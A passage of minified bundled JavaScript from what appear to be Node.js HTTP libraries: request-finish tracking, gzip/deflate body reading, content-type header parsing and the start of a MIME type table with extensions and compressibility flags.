s(o){r.cancel(),n.cancel(),a=!0,e(o)}r=n=Mv([[t,"end","finish"]],s);function i(o){t.removeListener("socket",i),!a&&r===n&&(n=Mv([[o,"error","close"]],s))}if(t.socket){i(t.socket);return}t.on("socket",i),t.socket===void 0&&jP(t,i)}function AP(t,e){var r=t.__onFinished;(!r||!r.queue)&&(r=t.__onFinished=NP(t),IP(t,r)),r.queue.push(e)}function NP(t){function e(r){if(t.__onFinished===e&&(t.__onFinished=null),!!e.queue){var n=e.queue;e.queue=null;for(var a=0;a{"use strict";var Ta=Ya(),qP=sd(),LP=Iv(),qv=Nd(),Lv=Oi(),FP=uc(),Fv=require("zlib");zv.exports=zP;function zP(t,e,r,n,a,s){var i,o=s,c;t._body=!0;var u=o.encoding!==null?o.encoding:null,l=o.verify;try{c=UP(t,a,o.inflate),i=c.length,c.length=void 0}catch(d){return r(d)}if(o.length=i,o.encoding=l?null:u,o.encoding===null&&u!==null&&!qv.encodingExists(u))return r(Ta(415,'unsupported charset "'+u.toUpperCase()+'"',{charset:u.toLowerCase(),type:"charset.unsupported"}));a("read body"),LP(c,o,function(d,f){if(d){var m;d.type==="encoding.unsupported"?m=Ta(415,'unsupported charset "'+u.toUpperCase()+'"',{charset:u.toLowerCase(),type:"charset.unsupported"}):m=Ta(400,d),c!==t&&(FP(t),qP(c,!0)),HP(t,function(){r(Ta(400,m))});return}if(l)try{a("verify body"),l(t,e,f,u)}catch(b){r(Ta(403,b,{body:f,type:b.type||"entity.verify.failed"}));return}var g=f;try{a("parse body"),g=typeof f!="string"&&u!==null?qv.decode(f,u):f,t.body=n(g)}catch(b){r(Ta(400,b,{body:g,type:b.type||"entity.parse.failed"}));return}r()})}function UP(t,e,r){var n=(t.headers["content-encoding"]||"identity").toLowerCase(),a=t.headers["content-length"],s;if(e('content-encoding "%s"',n),r===!1&&n!=="identity")throw Ta(415,"content encoding unsupported",{encoding:n,type:"encoding.unsupported"});switch(n){case"deflate":s=Fv.createInflate(),e("inflate body"),t.pipe(s);break;case"gzip":s=Fv.createGunzip(),e("gunzip body"),t.pipe(s);break;case"identity":s=t,s.length=a;break;default:throw Ta(415,'unsupported content encoding "'+n+'"',{encoding:n,type:"encoding.unsupported"})}return s}function HP(t,e){Lv.isFinished(t)?e(null):(Lv(t,e),t.resume())}});var Vv=V(Md=>{var Uv=/; *([!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+) *= *("(?:[ !\u0023-\u005b\u005d-\u007e\u0080-\u00ff]|\\[\u0020-\u007e])*"|[!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+) */g,BP=/^[\u0020-\u007e\u0080-\u00ff]+$/,Bv=/^[!#$%&'\*\+\-\.0-9A-Z\^_`a-z\|~]+$/,VP=/\\([\u0000-\u007f])/g,ZP=/([\\"])/g,GP=/^[A-Za-z0-9][A-Za-z0-9!#$&^_.-]{0,126}$/,Hv=/^[A-Za-z0-9][A-Za-z0-9!#$&^_-]{0,126}$/,WP=/^ *([A-Za-z0-9][A-Za-z0-9!#$&^_-]{0,126})\/([A-Za-z0-9][A-Za-z0-9!#$&^_.+-]{0,126}) *$/;Md.format=KP;Md.parse=XP;function KP(t){if(!t||typeof t!="object")throw new TypeError("argument obj is required");var e=t.parameters,r=t.subtype,n=t.suffix,a=t.type;if(!a||!Hv.test(a))throw new TypeError("invalid type");if(!r||!GP.test(r))throw new TypeError("invalid subtype");var s=a+"/"+r;if(n){if(!Hv.test(n))throw new TypeError("invalid suffix");s+="+"+n}if(e&&typeof e=="object")for(var i,o=Object.keys(e).sort(),c=0;c0&&!BP.test(e))throw new TypeError("invalid parameter value");return'"'+e.replace(ZP,"\\$1")+'"'}function QP(t){var e=WP.exec(t.toLowerCase());if(!e)throw new TypeError("invalid media type");var r=e[1],n=e[2],a,s=n.lastIndexOf("+");s!==-1&&(a=n.substr(s+1),n=n.substr(0,s));var i={type:r,subtype:n,suffix:a};return i}});var Zv=V((jV,eO)=>{eO.exports={"application/1d-interleaved-parityfec":{source:"iana"},"application/3gpdash-qoe-report+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/3gpp-ims+xml":{source:"iana",compressible:!0},"application/3gpphal+json":{source:"iana",compressible:!0},"application/3gpphalforms+json":{source:"iana",compressible:!0},"application/a2l":{source:"iana"},"application/ace+cbor":{source:"iana"},"application/activemessage":{source:"iana"},"application/activity+json":{source:"iana",compressible:!0},"application/alto-costmap+json":{source:"iana",compressible:!0},"application/alto-costmapfilter+json":{source:"iana",compressible:!0},"application/alto-directory+json":{source:"iana",compressible:!0},"application/alto-endpointcost+json":{source:"iana",compressible:!0},"application/alto-endpointcostparams+json":{source:"iana",compressible:!0},"application/alto-endpointprop+json":{source:"iana",compressible:!0},"application/alto-endpointpropparams+json":{source:"iana",compressible:!0},"application/alto-error+json":{source:"iana",compressible:!0},"application/alto-networkmap+json":{source:"iana",compressible:!0},"application/alto-networkmapfilter+json":{source:"iana",compressible:!0},"application/alto-updatestreamcontrol+json":{source:"iana",compressible:!0},"application/alto-updatestreamparams+json":{source:"iana",compressible:!0},"application/aml":{source:"iana"},"application/andrew-inset":{source:"iana",extensions:["ez"]},"application/applefile":{source:"iana"},"application/applixware":{source:"apache",extensions:["aw"]},"application/at+jwt":{source:"iana"},"application/atf":{source:"iana"},"application/atfx":{source:"iana"},"application/atom+xml":{source:"iana",compressible:!0,extensions:["atom"]},"application/atomcat+xml":{source:"iana",compressible:!0,extensions:["atomcat"]},"application/atomdeleted+xml":{source:"iana",compressible:!0,extensions:["atomdeleted"]},"application/atomicmail":{source:"iana"},"application/atomsvc+xml":{source:"iana",compressible:!0,extensions:["atomsvc"]},"application/atsc-dwd+xml":{source:"iana",compressible:!0,extensions:["dwd"]},"application/atsc-dynamic-event-message":{source:"iana"},"application/atsc-held+xml":{source:"iana",compressible:!0,extensions:["held"]},"application/atsc-rdt+json":{source:"iana",compressible:!0},"application/atsc-rsat+xml":{source:"iana",compressible:!0,extensions:["rsat"]},"application/atxml":{source:"iana"},"application/auth-policy+xml":{source:"iana",compressible:!0},"application/bacnet-xdd+zip":{source:"iana",compressible:!1},"application/batch-smtp":{source:"iana"},"application/bdoc":{compressible:!1,extensions:["bdoc"]},"application/beep+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/calendar+json":{source:"iana",compressible:!0},"application/calendar+xml":{source:"iana",compressible:!0,extensions:["xcs"]},"application/call-completion":{source:"iana"},"application/cals-1840":{source:"iana"},"application/captive+json":{source:"iana",compressible:!0},"application/cbor":{source:"iana"},"application/cbor-seq":{source:"iana"},"application/cccex":{source:"iana"},"application/ccmp+xml":{source:"iana",compressible:!0},"application/ccxml+xml":{source:"iana",compressible:!0,extensions:["ccxml"]},"application/cdfx+xml":{source:"iana",compressible:!0,extensions:["cdfx"]},"application/cdmi-capability":{source:"iana",extensions:["cdmia"]},"application/cdmi-container":{source:"iana",extensions:["cdmic"]},"application/cdmi-domain":{source:"iana",extensions:["cdmid"]},"application/cdmi-object":{source:"iana",extensions:["cdmio"]},"application/cdmi-queue":{source:"iana",extensions:["cdmiq"]},"application/cdni":{source:"iana"},"application/cea":{source:"iana"},"application/cea-2018+xml":{source:"iana",compressible:!0},"application/cellml+xml":{source:"iana",compressible:!0},"application/cfw":{source:"iana"},"application/city+json":{source:"iana",compressible:!0},"application/clr":{source:"iana"},"application/clue+xml":{source:"iana",compressible:!0},"application/clue_info+xml":{source:"iana",compressible:!0},"application/cms":{source:"iana"},"application/cnrp+xml":{source:"iana",compressible:!0},"application/coap-group+json":{source:"iana",compressible:!0},"application/coap-payload":{source:"iana"},"application/commonground":{source:"iana"},"application/conference-info+xml":{source:"iana",compressible:!0},"application/cose":{source:"iana"},"application/cose-key":{source:"iana"},"application/cose-key-set":{source:"iana"},"application/cpl+xml":{source:"iana",compressible:!0,extensions:["cpl"]},"application/csrattrs":{source:"iana"},"application/csta+xml":{source:"iana",compressible:!0},"application/cstadata+xml":{source:"iana",compressible:!0},"application/csvm+json":{source:"iana",compressible:!0},"application/cu-seeme":{source:"apache",extensions:["cu"]},"application/cwt":{source:"iana"},"application/cybercash":{source:"iana"},"application/dart":{compressible:!0},"application/dash+xml":{source:"iana",compressible:!0,extensions:["mpd"]},"application/dash-patch+xml":{source:"iana",compressible:!0,extensions:["mpp"]},"application/dashdelta":{source:"iana"},"application/davmount+xml":{source:"iana",compressible:!0,extensions:["davmount"]},"application/dca-rft":{source:"iana"},"application/dcd":{source:"iana"},"application/dec-dx":{source:"iana"},"application/dialog-info+xml":{source:"iana",compressible:!0},"application/dicom":{source:"iana"},"application/dicom+json":{source:"iana",compressible:!0},"application/dicom+xml":{source:"iana",compressible:!0},"application/dii":{source:"iana"},"application/dit":{source:"iana"},"application/dns":{source:"iana"},"application/dns+json":{source:"iana",compressible:!0},"application/dns-message":{source:"iana"},"application/docbook+xml":{source:"apache",compressible:!0,extensions:["dbk"]},"application/dots+cbor":{source:"iana"},"application/dskpp+xml":{source:"iana",compressible:!0},"application/dssc+der":{source:"iana",extensions:["dssc"]},"application/dssc+xml":{source:"iana",compressible:!0,extensions:["xdssc"]},"application/dvcs":{source:"iana"},"application/ecmascript":{source:"iana",compressible:!0,extensions:["es","ecma"]},"application/edi-consent":{source:"iana"},"application/edi-x12":{source:"iana",compressible:!1},"application/edifact":{source:"iana",compressible:!1},"application/efi":{source:"iana"},"application/elm+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/elm+xml":{source:"iana",compressible:!0},"application/emergencycalldata.cap+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/emergencycalldata.comment+xml":{source:"iana",compressible:!0},"application/emergencycalldata.control+xml":{source:"iana",compressible:!0},"application/emergencycalldata.deviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.ecall.msd":{source:"iana"},"application/emergencycalldata.providerinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.serviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.subscriberinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.veds+xml":{source:"iana",compressible:!0},"application/emma+xml":{source:"iana",compressible:!0,extensions:["emma"]},"application/emotionml+xml":{source:"iana",compressible:!0,extensions:["emotionml"]},"application/encaprtp":{source:"iana"},"application/epp+xml":{source:"iana",compressible:!0},"application/epub+zip":{source:"iana",compressible:!1,extensions:["epub"]},"application/eshop":{source:"iana"},"application/exi":{source:"iana",extensions:["exi"]},"application/expect-ct-report+json":{source:"iana",compressible:!0},"application/express":{source:"iana",extensions:["exp"]},"application/fastinfoset":{source:"iana"},"application/fastsoap":{source:"iana"},"application/fdt+xml":{source:"iana",compressible:!0,extensions:["fdt"]},"application/fhir+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/fhir+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/fido.trusted-apps+json":{compressible:!0},"application/fits":{source:"iana"},"application/flexfec":{source:"iana"},"application/font-sfnt":{source:"iana"},"application/font-tdpfr":{source:"iana",extensions:["pfr"]},"application/font-woff":{source:"iana",compressible:!1},"application/framework-attributes+xml":{source:"iana",compressible:!0},"application/geo+json":{source:"iana",compressible:!0,extensions:["geojson"]},"application/geo+json-seq":{source:"iana"},"application/geopackage+sqlite3":{source:"iana"},"application/geoxacml+xml":{source:"iana",compressible:!0},"application/gltf-buffer":{source:"iana"},"application/gml+xml":{source:"iana",compressible:!0,extensions:["gml"]},"application/gpx+xml":{source:"apache",compressible:!0,extensions:["gpx"]},"application/gxf":{source:"apache",extensions:["gxf"]},"application/gzip":{source:"iana",compressible:!1,extensions:["gz"]},"application/h224":{source:"iana"},"application/held+xml":{source:"iana",compressible:!0},"application/hjson":{extensions:["hjson"]},"application/http":{source:"iana"},"application/hyperstudio":{source:"iana",extensions:["stk"]},"application/ibe-key-request+xml":{source:"iana",compressible:!0},"application/ibe-pkg-reply+xml":{source:"iana",compressible:!0},"application/ibe-pp-data":{source:"iana"},"application/iges":{source:"iana"},"application/im-iscomposing+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/index":{source:"iana"},"application/index.cmd":{source:"iana"},"application/index.obj":{source:"iana"},"application/index.response":{source:"iana"},"application/index.vnd":{source:"iana"},"application/inkml+xml":{source:"iana",compressible:!0,extensions:["ink","inkml"]},"application/iotp":{source:"iana"},"application/ipfix":{source:"iana",extensions:["ipfix"]},"application/ipp":{source:"iana"},"application/isup":{source:"iana"},"application/its+xml":{source:"iana",compressible:!0,extensions:["its"]},"application/java-archive":{source:"apache",compressible:!1,extensions:["jar","war","ear"]},"application/java-serialized-object":{source:"apache",compressible:!1,extensions:["ser"]},"application/java-vm":{source:"apache",compressible:!1,extensions:["class"]},"application/javascript":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["js","mjs"]},"application/jf2feed+json":{source:"iana",compressible:!0},"application/jose":{source:"iana"},"application/jose+json":{source:"iana",compressible:!0},"application/jrd+json":{source:"iana",compressible:!0},"application/jscalendar+json":{source:"iana",compressible:!0},"application/json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["json","map"]},"application/json-patch+json":{source:"iana",compressible:!0},"application/json-seq":{source:"iana"},"application/json5":{extensions:["json5"]},"application/jsonml+json":{source:"apache",compressible:!0,extensions:["jsonml"]},"application/jwk+json":{source:"iana",compressible:!0},"application/jwk-set+json":{source:"iana",compressible:!0},"application/jwt":{source:"iana"},"application/kpml-request+xml":{source:"iana",compressible:!0},"application/kpml-response+xml":{source:"iana",compressible:!0},"application/ld+json":{source:"iana",compressible:!0,extensions:["jsonld"]},"application/lgr+xml":{source:"iana",compressible:!0,extensions:["lgr"]},"application/link-format":{source:"iana"},"application/load-control+xml":{source:"iana",compressible:!0},"application/lost+xml":{source:"iana",compressible:!0,extensions:["lostxml"]},"application/lostsync+xml":{source:"iana",compressible:!0},"application/lpf+zip":{source:"iana",compressible:!1},"application/lxf":{source:"iana"},"application/mac-binhex40":{source:"iana",extensions:["hqx"]},"application/mac-compactpro":{source:"apache",extensions:["cpt"]},"application/macwriteii":{source:"iana"},"application/mads+xml":{source:"iana",compressible:!0,extensions:["mads"]},"application/manifest+json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["webmanifest"]},"application/marc":{source:"iana",extensions:["mrc"]},"application/marcxml+xml":{source:"iana",compressible:!0,extensions:["mrcx"]},"application/mathematica":{source:"iana",extensions:["ma","nb","mb"]},"application/mathml+xml":{source:"iana",compressible:!0,extensions:["mathml"]},"application/mathml-content+xml":{source:"iana",compressible:!0},"application/mathml-presentation+xml":{source:"iana",compressible:!0},"application/mbms-associated-procedure-description+xml":{source:"iana",compressible:!0},"application/mbms-deregister+xml":{source:"iana",compressible:!0},"application/mbms-envelope+xml":{source:"iana",compressible:!0},"application/mbms-msk+xml":{source:"iana",compressible:!0},"application/mbms-msk-response+xml":{source:"iana",compressible:!0},"application/mbms-protection-description+xml":{source:"iana",compressible:!0},"application/mbms-reception-report+xml":{source:"iana",compressible:!0},"application/mbms-register+xml":{source:"iana",compressible:!0},"application/mbms-register-response+xml":{source:"iana",compressible:!0},"application/mbms-schedule+xml":{source:"iana",compressible:!0},"application/mbms-user-service-description+xml":{source:"iana",compressible:!0},"application/mbox":{source:"iana",extensions:["mbox"]},"application/media-policy-dataset+xml":{source:"iana",compressible:!0,extensions:["mpf"]},"application/media_control+xml":{source:"iana",compressible:!0},"application/mediaservercontrol+xml":{source:"iana",compressible:!0,extensions:["mscml"]},"application/merge-patch+json":{source:"iana",compressible:!0},"application/metalink+xml":{source:"apache",compressible:!0,extensions:["metalink"]},"application/metalink4+xml":{source:"iana",compressible:!0,extensions:["meta4"]},"application/mets+xml":{source:"iana",compressible:!0,extensions:["mets"]},"application/mf4":{source:"iana"},"application/mikey":{source:"iana"},"application/mipc":{source:"iana"},"application/missing-blocks+cbor-seq":{source:"iana"},"application/mmt-aei+xml":{source:"iana",compressible:!0,extensions:["maei"]},"application/mmt-usd+xml":{source:"iana",compressible:!0,extensions:["musd"]},"application/mods+xml":{source:"iana",compressible:!0,extensions:["mods"]},"application/moss-keys":{source:"iana"},"application/moss-signature":{source:"iana"},"application/mosskey-data":{source:"iana"},"application/mosskey-request":{source:"iana"},"application/mp21":{source:"iana",extensions:["m21","mp21"]},"application/mp4":{source:"iana",extensions:["mp4s","m4p"]},"application/mpeg4-generic":{source:"iana"},"application/mpeg4-iod":{source:"iana"},"application/mpeg4-iod-xmt":{source:"iana"},"application/mrb-consumer+xml":{source:"iana",compressible:!0},"application/mrb-publish+xml":{source:"iana",compressible:!0},"application/msc-ivr+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msc-mixer+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msword":{source:"iana",compressible:!1,extensions:["doc","dot"]},"application/mud+json":{source:"iana",compressible:!0},"application/multipart-core":{source:"iana"},"application/mxf":{source:"iana",extensions:["mxf"]},"application/n-quads":{source:"iana",extensions:["nq"]},"application/n-triples":{source:"iana",extensions:["nt"]},"application/nasdata":{source:"iana"},"application/news-checkgroups":{source:"iana",charset:"US-ASCII"},"application/news-groupinfo":{source:"iana",charset:"US-ASCII"},"application/news-transmission":{source:"iana"},"application/nlsml+xml":{source:"iana",compressible:!0},"application/node":{source:"iana",extensions:["cjs"]},"application/nss":{source:"iana"},"application/oauth-authz-req+jwt":{source:"iana"},"application/oblivious-dns-message":{source:"iana"},"application/ocsp-request":{source:"iana"},"application/ocsp-response":{source:"iana"},"application/octet-stream":{source:"iana",compressible:!1,extensions:["bin","dms","lrf","mar","so","dist","distz","pkg","bpk","dump","elc","deploy","exe","dll","deb","dmg","iso","img","msi","msp","msm","buffer"]},"application/oda":{source:"iana",extensions:["oda"]},"application/odm+xml":{source:"iana",compressible:!0},"application/odx":{source:"iana"},"application/oebps-package+xml":{source:"iana",compressible:!0,extensions:["opf"]},"application/ogg":{source:"iana",compressible:!1,extensions:["ogx"]},"application/omdoc+xml":{source:"apache",compressible:!0,extensions:["omdoc"]},"application/onenote":{source:"apache",extensions:["onetoc","onetoc2","onetmp","onepkg"]},"application/opc-nodeset+xml":{source:"iana",compressible:!0},"application/oscore":{source:"iana"},"application/oxps":{source:"iana",extensions:["oxps"]},"application/p21":{source:"iana"},"application/p21+zip":{source:"iana",compressible:!1},"application/p2p-overlay+xml":{source:"iana",compressible:!0,extensions:["relo"]},"application/parityfec":{source:"iana"},"application/passport":{source:"iana"},"application/patch-ops-error+xml":{source:"iana",compressible:!0,extensions:["xer"]},"application/pdf":{source:"iana",compressible:!1,extensions:["pdf"]},"application/pdx":{source:"iana"},"application/pem-certificate-chain":{source:"iana"},"application/pgp-encrypted":{source:"iana",compressible:!1,extensions:["pgp"]},"application/pgp-keys":{source:"iana",extensions:["asc"]},"application/pgp-signature":{source:"iana",extensions:["asc","sig"]},"application/pics-rules":{source:"apache",extensions:["prf"]},"application/pidf+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pidf-diff+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pkcs10":{source:"iana",extensions:["p10"]},"application/pkcs12":{source:"iana"},"application/pkcs7-mime":{source:"iana",extensions:["p7m","p7c"]},"application/pkcs7-signature":{source:"iana",extensions:["p7s"]},"application/pkcs8":{source:"iana",extensions:["p8"]},"application/pkcs8-encrypted":{source:"iana"},"application/pkix-attr-cert":{source:"iana",extensions:["ac"]},"application/pkix-cert":{source:"iana",extensions:["cer"]},"application/pkix-crl":{source:"iana",extensions:["crl"]},"application/pkix-pkipath":{source:"iana",extensions:["pkipath"]},"application/pkixcmp":{source:"iana",extensions:["pki"]},"application/pls+xml":{source:"iana",compressible:!0,extensions:["pls"]},"application/poc-settings+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/postscript":{source:"iana",compressible:!0,extensions:["ai","eps","ps"]},"application/ppsp-tracker+json":{source:"iana",compressible:!0},"application/problem+json":{source:"iana",compressible:!0},"application/problem+xml":{source:"iana",compressible:!0},"application/provenance+xml":{source:"iana",compressible:!0,extensions:["provx"]},"application/prs.alvestrand.titrax-sheet":{source:"iana"},"application/prs.cww":{source:"iana",extensions:["cww"]},"application/prs.cyn":{source:"iana",charset:"7-BIT"},"application/prs.hpub+zip":{source:"iana",compressible:!1},"application/prs.nprend":{source:"iana"},"application/prs.plucker":{source:"iana"},"application/prs.rdf-xml-crypt":{source:"iana"},"application/prs.xsf+xml":{source:"iana",compressible:!0},"application/pskc+xml":{source:"iana",compressible:!0,extensions:["pskcxml"]},"application/pvd+json":{source:"iana",compressible:!0},"application/qsig":{source:"iana"},"application/raml+yaml":{compressible:!0,extensions:["raml"]},"application/raptorfec":{source:"iana"},"application/rdap+json":{source:"iana",compressible:!0},"application/rdf+xml":{source:"iana",compressible:!0,extensions:["rdf","owl"]},"application/reginfo+xml":{source:"iana",compressible:!0,extensions:["rif"]},"application/relax-ng-compact-syntax":{source:"iana",extensions:["rnc"]},"application/remote-printing":{source:"iana"},"application/reputon+json":{source:"iana",compressible:!0},"application/resource-lists+xml":{source:"iana",compressible:!0,extensions:["rl"]},"application/resource-lists-diff+xml":{source:"iana",compressible:!0,extensions:["rld"]},"application/rfc+xml":{source:"iana",compressible:!0},"application/riscos":{source:"iana"},"application/rlmi+xml":{source:"iana",compressible:!0},"application/rls-services+xml":{source:"iana",compressible:!0,extensions:["rs"]},"application/route-apd+xml":{source:"iana",compressible:!0,extensions:["rapd"]},"application/route-s-tsid+xml":{source:"iana",compressible:!0,extensions:["sls"]},"application/route-usd+xml":{source:"iana",compressible:!0,extensions:["rusd"]},"application/rpki-ghostbusters":{source:"iana",extensions:["gbr"]},"application/rpki-manifest":{source:"iana",extensions:["mft"]},"application/rpki-publication":{source:"iana"},"application/rpki-roa":{source:"iana",extensions:["roa"]},"application/rpki-updown":{source:"iana"},"application/rsd+xml":{source:"apache",compressible:!0,extensions:["rsd"]},"application/rss+xml":{source:"apache",compressible:!0,extensions:["rss"]},"application/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"application/rtploopback":{source:"iana"},"application/rtx":{source:"iana"},"application/samlassertion+xml":{source:"iana",compressible:!0},"application/samlmetadata+xml":{source:"iana",compressible:!0},"application/sarif+json":{source:"iana",compressible:!0},"application/sarif-external-properties+json":{source:"iana",compressible:!0},"application/sbe":{source:"iana"},"application/sbml+xml":{source:"iana",compressible:!0,extensions:["sbml"]},"application/scaip+xml":{source:"iana",compressible:!0},"application/scim+json":{source:"iana",compressible:!0},"application/scvp-cv-request":{source:"iana",extensions:["scq"]},"application/scvp-cv-response":{source:"iana",extensions:["scs"]},"application/scvp-vp-request":{source:"iana",extensions:["spq"]},"application/scvp-vp-response":{source:"iana",extensions:["spp"]},"application/sdp":{source:"iana",extensions:["sdp"]},"application/secevent+jwt":{source:"iana"},"application/senml+cbor":{source:"iana"},"application/senml+json":{source:"iana",compressible:!0},"application/senml+xml":{source:"iana",compressible:!0,extensions:["senmlx"]},"application/senml-etch+cbor":{source:"iana"},"application/senml-etch+json":{source:"iana",compressible:!0},"application/senml-exi":{source:"iana"},"application/sensml+cbor":{source:"iana"},"application/sensml+json":{source:"iana",compressible:!0},"application/sensml+xml":{source:"iana",compressible:!0,extensions:["sensmlx"]},"application/sensml-exi":{source:"iana"},"application/sep+xml":{source:"iana",compressible:!0},"application/sep-exi":{source:"iana"},"application/session-info":{source:"iana"},"application/set-payment":{source:"iana"},"application/set-payment-initiation":{source:"iana",extensions:["setpay"]},"application/set-registration":{source:"iana"},"application/set-registration-initiation":{source:"iana",extensions:["setreg"]},"application/sgml":{source:"iana"},"application/sgml-open-catalog":{source:"iana"},"application/shf+xml":{source:"iana",compressible:!0,extensions:["shf"]},"application/sieve":{source:"iana",extensions:["siv","sieve"]},"application/simple-filter+xml":{source:"iana",compressible:!0},"application/simple-message-summary":{source:"iana"},"application/simplesymbolcontainer":{source:"iana"},"application/sipc":{source:"iana"},"application/slate":{source:"iana"},"application/smil":{source:"iana"},"application/smil+xml":{source:"iana",compressible:!0,extensions:["smi","smil"]},"application/smpte336m":{source:"iana"},"application/soap+fastinfoset":{source:"iana"},"application/soap+xml":{source:"iana",compressible:!0},"application/sparql-query":{source:"iana",extensions:["rq"]},"application/sparql-results+xml":{source:"iana",compressible:!0,extensions:["srx"]},"application/spdx+json":{source:"iana",compressible:!0},"application/spirits-event+xml":{source:"iana",compressible:!0},"application/sql":{source:"iana"},"application/srgs":{source:"iana",extensions:["gram"]},"application/srgs+xml":{source:"iana",compressible:!0,extensions:["grxml"]},"application/sru+xml":{source:"iana",compressible:!0,extensions:["sru"]},"application/ssdl+xml":{source:"apache",compressible:!0,extensions:["ssdl"]},"application/ssml+xml":{source:"iana",compressible:!0,extensions:["ssml"]},"application/stix+json":{source:"iana",compressible:!0},"application/swid+xml":{source:"iana",compressible:!0,extensions:["swidtag"]},"application/tamp-apex-update":{source:"iana"},"application/tamp-apex-update-confirm":{source:"iana"},"application/tamp-community-update":{source:"iana"},"application/tamp-community-update-confirm":{source:"iana"},"application/tamp-error":{source:"iana"},"application/tamp-sequence-adjust":{source:"iana"},"application/tamp-sequence-adjust-confirm":{source:"iana"},"application/tamp-status-query":{source:"iana"},"application/tamp-status-response":{source:"iana"},"application/tamp-update":{source:"iana"},"application/tamp-update-confirm":{source:"iana"},"application/tar":{compressible:!0},"application/taxii+json":{source:"iana",compressible:!0},"application/td+json":{source:"iana",compressible:!0},"application/tei+xml":{source:"iana",compressible:!0,extensions:["tei","teicorpus"]},"application/tetra_isi":{source:"iana"},"application/thraud+xml":{source:"iana",compressible:!0,extensions:["tfi"]},"application/timestamp-query":{source:"iana"},"application/timestamp-reply":{source:"iana"},"application/timestamped-data":{source:"iana",extensions:["tsd"]},"application/tlsrpt+gzip":{source:"iana"},"application/tlsrpt+json":{source:"iana",compressible:!0},"application/tnauthlist":{source:"iana"},"application/token-introspection+jwt":{source:"iana"},"application/toml":{compressible:!0,extensions:["toml"]},"application/trickle-ice-sdpfrag":{source:"iana"},"application/trig":{source:"iana",extensions:["trig"]},"application/ttml+xml":{source:"iana",compressible:!0,extensions:["ttml"]},"application/tve-trigger":{source:"iana"},"application/tzif":{source:"iana"},"application/tzif-leap":{source:"iana"},"application/ubjson":{compressible:!1,extensions:["ubj"]},"application/ulpfec":{source:"iana"},"application/urc-grpsheet+xml":{source:"iana",compressible:!0},"application/urc-ressheet+xml":{source:"iana",compressible:!0,extensions:["rsheet"]},"application/urc-targetdesc+xml":{source:"iana",compressible:!0,extensions:["td"]},"application/urc-uisocketdesc+xml":{source:"iana",compressible:!0},"application/vcard+json":{source:"iana",compressible:!0},"application/vcard+xml":{source:"iana",compressible:!0},"application/vemmi":{source:"iana"},"application/vividence.scriptfile":{source:"apache"},"application/vnd.1000minds.decision-model+xml":{source:"iana",compressible:!0,extensions:["1km"]},"application/vnd.3gpp-prose+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-prose-pc3ch+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-v2x-local-service-information":{source:"iana"},"application/vnd.3gpp.5gnas":{source:"iana"},"application/vnd.3gpp.access-transfer-events+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.bsf+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gmop+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gtpc":{source:"iana"},"application/vnd.3gpp.interworking-data":{source:"iana"},"application/vnd.3gpp.lpp":{source:"iana"},"application/vnd.3gpp.mc-signalling-ear":{source:"iana"},"application/vnd.3gpp.mcdata-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-payload":{source:"iana"},"application/vnd.3gpp.mcdata-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-signalling":{source:"iana"},"application/vnd.3gpp.mcdata-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-floor-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-signed+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-init-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-transmission-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mid-call+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ngap":{source:"iana"},"application/vnd.3gpp.pfcp":{source:"iana"},"application/vnd.3gpp.pic-bw-large":{source:"iana",extensions:["plb"]},"application/vnd.3gpp.pic-bw-small":{source:"iana",extensions:["psb"]},"application/vnd.3gpp.pic-